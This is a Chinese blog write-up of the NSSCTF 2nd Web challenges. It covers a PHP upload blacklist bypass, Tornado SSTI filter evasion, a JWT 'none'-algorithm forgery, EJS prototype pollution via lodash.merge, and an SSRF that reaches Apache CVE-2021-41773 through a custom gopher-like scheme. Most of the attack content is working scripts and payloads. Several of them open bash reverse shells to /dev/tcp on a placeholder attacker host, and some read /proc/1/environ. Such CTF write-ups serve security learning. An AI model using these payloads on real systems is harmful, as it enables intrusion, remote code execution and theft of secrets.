NSSCTF 2nd Web 题目复现

php签到

考点:

1.上传表单html的编写

2./. 绕过黑名单(在Linux系统下1.php.是一个合法的文件名,系统不会自动把最后的点去掉并把文件当成php文件执行,所以点绕过只在Windows下有用)

源代码:

<?php

function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
}

 这里就是ban了 "ph", "htaccess", "ini" 然后通过post传文件 

首先咱们直接创建一个表单

<!DOCTYPE html>
<html>
<head>
    <title>File Upload Form</title>
</head>
<body>
<h1>File Upload Form</h1>
<form action="http://node5.anna.nssctf.cn:28526/" enctype="multipart/form-data" method="post" >
    <label for="file">Select a file:</label>
    <input type="file" name="file" id="file">
    <br>
    <input type="submit" value="Upload File">
</form>
</body>
</html>

然后上传一个php文件 后缀改为.php/.(/.最好用url编码) 然后上传成功即可连shell或者rce

这里介绍另一种解法 

import requests

url = 'http://node5.anna.nssctf.cn:28526/'
file_content = "<?php phpinfo();?>'"
file = {'file': ('1.php%2f.', file_content)}
response = requests.post(url, files=file)
print(response.text)

跑完访问1.php 搜索flag

 2周年快乐!

签到提

payload:

curl https://www.nssctf.cn/flag
 

MyHurricane 

考点:tornado模板注入

不懂可以看这边文章

https://blog.csdn.net/miuzzx/article/details/123329244

直接给了源码


import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
    for c in bl:
        if c in data:
            return False
    for chunk in data.split():
        for c in chunk:
            if not (31 < ord(c) < 128):
                return False
    return True

class IndexHandler(tornado.web.RequestHandler):
    def get(self):
        with open(__file__, 'r') as f:
            self.finish(f.read())
    def post(self):
        data = self.get_argument("ssti")
        if waf(data):
            with open('1.html', 'w') as f:
                f.write(f"""<html>
                        <head></head>
                        <body style="font-size: 30px;">{data}</body></html>
                        """)
                f.flush()
            self.render('1.html')
        else:
            self.finish('no no no')

if __name__ == "__main__":
    app = tornado.web.Application([
            (r"/", IndexHandler),
        ], compiled_template_cache=False)
    app.listen(827)
    tornado.ioloop.IOLoop.current().start()

可以看到源码过滤了'"__()orandnot{{}}

和flask模板一样,我们可以用{%代替{{

 为了避免出现括号、下划线等字符,我们可以不用引号直接就行模板继承从而达到任意文件读取的效果。

payload:(非预期:直接读取环境变量)

ssti={% include /proc/1/environ %}

方法二:命令执行

如果没有过滤,我们的payload:

{{eval('__import__("os").popen("bash -i >& /dev/tcp/vps-ip/port 0>&1").read()')}}


这里可以从上述文章得到一个需要稍加修改的payload

既然已经过滤了', ", __, (, ), or, and, not, {{, }},那我们就一步步来绕过过滤

先绕过过滤{{}},我们可以用{%。

{%autoescape None%}{%raw ...%}可以等同于{{ }},这个在官方文档中有写。

因为过滤的是双下划线__,所以这里我们用单下划线也可以,也就是可以利用_tt_utf8

剩下的就可以对_tt_utf8进行变量覆盖来进行绕过了

参考:

tornado解析post数据的问题 - myworldworld - 博客园 (cnblogs.com)

这里借用一下Boogipop师傅的payload:

POST:ssti={% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'")
 

改下ip 和port就行

最终环境变量找到flag

NSSCTF{25e0188a-7033-4918-955d-45197512c05e}

MyJs 

打开是个登入页面 查看源码 有/source 访问/source路由得到源代码

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
    name: 'session',
    secret: randomize('a', 16),
    resave: true,
    saveUninitialized: true
}))
.get('/', (req, res) => {
    if (req.session.data) {
        res.redirect('/home');
    } else {
        res.redirect('/login')
    }
})
.get('/source', (req, res) => {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"});
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})
.all('/register', (req, res) => {
    if (req.method == "GET") {
        res.render('register.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password} = req.body;
        if (!username || username == 'nss') {
            return res.render('register.ejs', {msg: "Username existed."});
        }
        const secret = crypto.randomBytes(16).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret);
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
        res.render('register.ejs', {msg: "Token: " + token});
    }
})
.all('/home', (req, res) => {
    if (!req.session.data) {
        return res.redirect('/login');
    }
    res.render('home.ejs', {
        username: req.session.data.username||'NSS',
        count: req.session.data.count||'0',
        msg: null
    })
})
.post('/update', (req, res) => {
    if(!req.session.data) {
        return res.redirect('/login');
    }
    if (req.session.data.username !== 'nss') {
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {};
    req.session.data = lodash.merge(data, req.body);
    console.log(req.session.data.outputFunctionName);
    res.redirect('/home');
})
.listen(827, '0.0.0.0')

先利用register路由注册一个账号

注册之后得到token

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MCwidXNlcm5hbWUiOiJhIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE2OTg0NjMyMzJ9.nfg3mfhSXwfyh-kySP3a7zXkBxQp_sR7-CQESEJvBqw

一眼 jwt 解码看看

https://jwt.io/

查看源码,在/register的路由源码中得知,题目中存在一个nss的用户名

以及在以nss登录后,于/update路由中我们可以构造payload造成ejs模板引擎污染

req.session.data = lodash.merge(data, req.body);中的merge函数是原型链污染高位函数

关键还是在login路由的代码 

.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"});
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})

代码中的变量sid是JWT中的secretid,要求是不等于undefined,null等等。

验证用户名时使用了函数verify,verify()指定算法的正确方式应该是通过algorithms传入数组,而不是algorithm。

在algorithms为none的情况下,空签名且空秘钥是被允许的;如果指定了algorithms为具体的某个算法,则密钥是不能为空的。在JWT库中,如果没指定算法,则默认使用none。

所以我们的目标进一步是使得代码中JWT解密密钥secret为null或者undefined

代码中的密钥是变量secret是global.secrets[sid],只要我们使sid为空数组[],也就是JWT中的secretid为空数组[],我们就可以使得上面步骤得以实现,然后用空算法(none)伪造JWT
参考:从一道CTF题看Node.JS中的JWT库误用 - SecPulse.COM | 安全脉搏

那么我们伪造JWT的脚本如下:

const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
  secretid: [],
  username: 'nss',
  password: '123456',
  "iat":1693372851
}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);

 生成

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxMjM0NTYiLCJpYXQiOjE2OTM1NjE3NDR9.

登入nss

 接下来就是原型链污染了。这里是ejs模板引擎污染,payload可以直接打

/update路由下进行,这里记得修改一下Content-typeapplication/json,以让服务端接受json请求

{
    "__proto__":{
            "client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/XXX/2333 0>&1\"');","compileDebug":true
    }
}

修改一下xxx为你的攻击机ip 然后重新访问/home来反弹shell

在环境变量找到flag

 

MyBox 

 非预期

?url=file:///proc/1/environ

 预期:

?url=file:///app/app.py
 

 得到源码:

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)

@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        if 'proc' in url or 'flag' in url:
            return 'no!'
        with open(url[7:], 'r') as f:
            data = f.read()
            if url[7:] == '/app/app.py':
                return data
            if 'NSSCTF' in data:
                return 'no!'
            return data
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''

app.run('0.0.0.0', 827)
  1. 代码使用Flask类定义了一个Flask Web应用程序。
  2. index()函数是应用程序的主要路由,当访问根URL(“/”)时会被调用。
  3. 如果URL中没有提供url查询参数,用户会被重定向到根URL,并附带默认值为"dosth"的url参数。
  4. 如果url参数以"file://“开头,代码会检查URL是否包含特定的关键词(“proc"或"flag”)。如果其中任何一个关键词存在,会返回"no!”。否则,它会读取在"file://"之后指定的文件的内容,并执行特定的操作:
  • 如果文件路径为"/app/app.py",则返回该文件的内容。
  • 如果文件内容包含"NSSCTF",则返回"no!"。
  • 否则,返回文件的内容。
  1. 如果url参数以"http://localhost/"开头,代码会向指定的URL发出HTTP GET请求(假设该URL位于本地机器上),并返回响应的文本内容。
  2. 如果url参数以"mybox://127.0.0.1:"开头,代码会从URL中提取端口号和内容。然后,它会建立到"127.0.0.1"上指定端口的TCP套接字连接,并将URL解码后的内容以字节形式发送到套接字。它会接收以1024字节为单位的数据块,直到没有更多数据可接收为止,然后将接收到的数据作为响应返回。

和之前的就别就是不可以直接读取环境变量

这里可以看到一个比较明显的SSRF利用点

    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

利用gopher协议来打

 具体访问:

https://zhuanlan.zhihu.com/p/112055947

 利用gopher协议来打,脚本如下 

import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80

"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)

 得到

gopher://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A

但是代码修改过,我们需要利用mybox进行交互而不是gopher,修改一下 

mybox://127.0.0.1:80/_GET%20/xxx.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0A%0D%0A
 

这里注意一下,是需要二次URL编码的 

mybox://127.0.0.1:80/_GET%2520/xxx.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250A%250D%250A
 

Apache/2.4.49 (Unix),这个版本的Apache有一个路径穿越和RCE漏洞(CVE-2021-41773) 

 这里直接用gopher协议去打这个漏洞,POST发包,执行命令来反弹shell

 脚本如下

import urllib.parse
payload =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 58

echo;bash -c 'bash -i >& /dev/tcp/ip/ports 0>&1'  //填入攻击机ip端口
"""
#注意后面一定要有回车,回车结尾表示http请求结束。
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求发包所以要进行两次url编码

 得到:

gopher%3A//127.0.0.1%3A80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/ports%25200%253E%25261%2527%250D%250A

记得修改为mybox 

mybox%3A//127.0.0.1%3A80/_POST%2520/cgi-bin/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/.%2525%252532%252565/bin/sh%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252058%250D%250A%250D%250Aecho%253Bbash%2520-c%2520%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/ip/ports%25200%253E%25261%2527%250D%250A

传参成功进行反弹shell 环境得到flag


 


 


 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

W3nd4L0v3

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值